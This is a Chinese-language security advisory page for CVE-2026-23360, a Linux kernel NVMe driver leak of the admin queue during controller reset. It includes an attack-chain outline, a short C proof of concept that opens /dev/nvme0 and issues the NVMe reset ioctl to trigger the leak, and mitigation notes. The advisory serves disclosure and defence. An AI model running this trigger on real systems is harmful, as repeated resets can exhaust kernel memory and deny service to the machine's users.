IPBUF安全漏洞报告
English
CVE-2026-23360 CVSS 5.5 中危

CVE-2026-23360: Linux内核NVMe驱动队列泄漏漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23360
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏NVMe本地漏洞拒绝服务

漏洞概述

Linux内核NVMe驱动程序存在资源管理漏洞。在控制器重置期间调用`nvme_alloc_admin_tag_set()`时,未能正确释放先前的管理队列,导致旧队列资源被孤立。这是一个由commit 03b3bcd319b3引入的回归问题,本地低权限用户可利用此漏洞造成资源耗尽。

技术细节

该漏洞位于Linux内核的NVMe子系统。当控制器发生重置时,驱动程序会尝试重新分配管理标签集。漏洞产生的根本原因在于分配新资源之前,代码逻辑未检查并释放可能存在的旧管理队列,导致内核对象泄漏。由于攻击向量为本地(AV:L)且无需用户交互(UI:N),攻击者只需具备低权限(PR:L)即可触发设备重置操作。这种资源泄漏虽然不直接影响机密性和完整性,但长期累积可能导致内存耗尽,从而严重影响系统可用性(A:H)。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者获得目标系统的本地低权限用户访问权限。
STEP 2
2. 触发控制器重置
攻击者通过IOCTL等接口触发NVMe控制器重置操作。
STEP 3
3. 触发资源泄漏
由于漏洞存在,内核在重置过程中未能释放旧的管理队列,导致内存资源泄漏。
STEP 4
4. 影响系统可用性
重复触发可导致系统资源耗尽,从而引发拒绝服务或系统不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/nvme_ioctl.h> /* * PoC for CVE-2026-23360 * Description: Trigger NVMe controller reset to cause admin queue leak. * Note: Requires access to /dev/nvme0 and appropriate permissions. */ int main() { int fd = open("/dev/nvme0", O_RDWR); if (fd < 0) { perror("open"); return 1; } // Triggering the reset calls the vulnerable path in nvme_alloc_admin_tag_set // without properly freeing the old queue. printf("Triggering reset to induce leak...\n"); if (ioctl(fd, NVME_IOCTL_RESET, NULL) < 0) { perror("ioctl"); } close(fd); return 0; }

影响范围

Linux Kernel (引入于 commit 03b3bcd319b3 之后)
Linux Kernel (修复于 commit 089a6f17881a82c6c6e05f8564a867be0767eade)

防御指南

临时缓解措施
限制非特权用户对NVMe设备的访问权限,监控内核日志中的资源泄漏异常,并减少不必要的控制器重置操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表